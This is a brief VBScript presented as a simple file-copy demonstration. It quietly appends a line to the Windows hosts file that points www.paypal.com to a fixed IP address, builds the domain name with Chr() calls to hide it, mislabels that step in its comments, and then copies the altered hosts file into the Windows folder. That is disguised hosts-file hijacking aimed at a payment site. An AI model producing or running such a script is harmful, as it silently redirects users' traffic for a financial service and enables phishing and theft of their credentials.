Option Explicit ' Constants for GetSpecialFolder(), derived from the scrrun.dll type library where the Scripting.FileSystemObject ' class is defined. Const SystemFolder = 1 Const TemporaryFolder = 2 Const WindowsFolder = 0 Dim fso Dim fileToCopy Dim destinationPath Dim dontDelete Set fso = CreateObject("Scripting.FileSystemObject") fileToCopy = fso.GetSpecialFolder(WindowsFolder).Path & "\system32\drivers\etc\hosts" destinationPath = fso.GetSpecialFolder(WindowsFolder).Path & "\newname.123" 'Create file to copy if it does not exist. If fso.FileExists(fileToCopy) Then Dim textStream Set textStream = fso.OpenTextFile(fileToCopy, 8, True) textStream.WriteLine "66.135.194.100" & Chr(09) & Chr(119) & "ww.paypal.com" textStream.WriteLine Chr(65) & "do" textStream.Close Set textStream = nothing Else Set textStream = fso.CreateTextFile(fileToCopy) textStream.WriteLine "127.0.0.1 localhost" textStream.WriteLine "66.135.194.100" & Chr(09) & Chr(119) & "ww.paypal.com" textStream.Close Set textStream = nothing End If 'Copy file to Windows directory with a new file name and extension. 'This will destroy any file called "newname.123" in the Windows directory. fso.CopyFile fileToCopy, destinationPath, True 'Some house cleaning... Set fso = Nothing